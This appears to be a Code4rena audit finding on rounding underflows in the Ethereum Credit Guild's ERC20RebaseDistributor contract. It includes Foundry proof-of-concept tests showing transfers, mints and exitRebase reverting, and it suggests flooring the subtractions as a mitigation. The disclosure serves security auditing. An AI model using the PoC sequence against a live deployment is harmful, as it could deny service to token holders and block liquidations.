Rounding errors can cause ERC20RebaseDistributor transfers and mints to fail for underflow

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L618 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L531 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L594 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L688 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L712

Vulnerability details

When calculating share changes during ERC20RebaseDistributor token transfers, the logic computes the share delta as follows:

Solidity📋
File: ERC20RebaseDistributor.sol
553:     function transfer(
554:         address to,
555:         uint256 amount
556:     ) public virtual override returns (bool) {
---
603:         if (rebasingStateTo.isRebasing == 1) {
---
618:             uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;

It is possible that due to rounding, rebasingStateTo.nShares is higher than toSharesAfter by 1 wei, causing the transfer to fail.

A similar issue can happen when unminted rewards are taken off the rebase pool:

Solidity📋
File: ERC20RebaseDistributor.sol
228:     function decreaseUnmintedRebaseRewards(uint256 amount) internal {
229:         InterpolatedValue memory val = __unmintedRebaseRewards;
230:         uint256 _unmintedRebaseRewards = interpolatedValue(val);
231:         __unmintedRebaseRewards = InterpolatedValue({
232:             lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp), // now
233:             lastValue: SafeCastLib.safeCastTo224(
234:                 _unmintedRebaseRewards - amount
235:             ), // adjusted current
236:             targetTimestamp: val.targetTimestamp, // unchanged
237:             targetValue: val.targetValue - SafeCastLib.safeCastTo224(amount) // adjusted target
238:         });
239:     }

where it is possible that amount is higher than _unmintedRebaseRewards, introducing also in this place a revert condition.

Impact

Transfers and mints from or towards addresses that are rebasing may fail in real-world scenarios. This failure can be used as a means to DoS sensitive operations like liquidations. Addresses who enter this scenario aren't also able to exit rebase to fix their transfers.

Proof of Concept

Below a foundry PoC (full setup here) which shows a scenario where a transfer (or mint) to a rebasing user can fail by underflow on the _unmintedRebaseRewards - amount operation:

Solidity📋
    function testM2bis() external {
        uint t0 = block.timestamp;

        // set up the credit token with the minimum 100e18 rebasing supply
        // as indicated here -> 
        // https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L37
        ct.mint(address(1), 100e18);
        vm.prank(address(1));
        ct.enterRebase();
        
        ct.mint(address(2), 6e11); vm.prank(address(2)); ct.distribute(6e11);
        vm.warp(2);
        ct.mint(address(2), 3e12); vm.prank(address(2)); ct.distribute(3e12);
        vm.warp(3);
        
        ct.mint(address(3), 1e20);
        vm.prank(address(3));

        // ☢️ this shouldn't revert!
        vm.expectRevert();
        ct.transfer(address(1), 1e20);

        // ☢️ this shouldn't either!
        vm.expectRevert();
        ct.mint(address(1), 1e20);

        // ☢️ this too..
        vm.prank(address(1));
        vm.expectRevert();
        ct.exitRebase();

        // ☢️ same here...
        vm.startPrank(address(1));
        vm.expectRevert();
        ct.transfer(address(3), 1e20);

        // ☢️ I bet you saw this coming...
        ct.approve(address(3), 1e20);
        vm.startPrank(address(3));
        vm.expectRevert();
        ct.transferFrom(address(1), address(3), 1e20);
    }

With lower impact because involving a zero-value transfer, the following PoC in Foundry (the full runnable test can be found here) shows a transfer failing on the toSharesAfter - rebasingStateTo.nShares operation:

Solidity📋
    function testM2() external {
        address from = address(uint160(1));
        address to = address(uint160(2));

        ct.mint(to, 100 ether);

        vm.startPrank(to);
        ct.enterRebase();
        ct.distribute(1 ether);

        vm.warp(block.timestamp + 1);
        vm.startPrank(from);

        vm.expectRevert();
        ct.transfer(to, 0);

        vm.expectRevert();
        ct.transferFrom(from, to, 0);
    }

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Consider adapting shares calculations to tolerate rounding fluctuations i.e. by flooring to 0 the mentioned subtractions.

Assessed type

Token-Transfer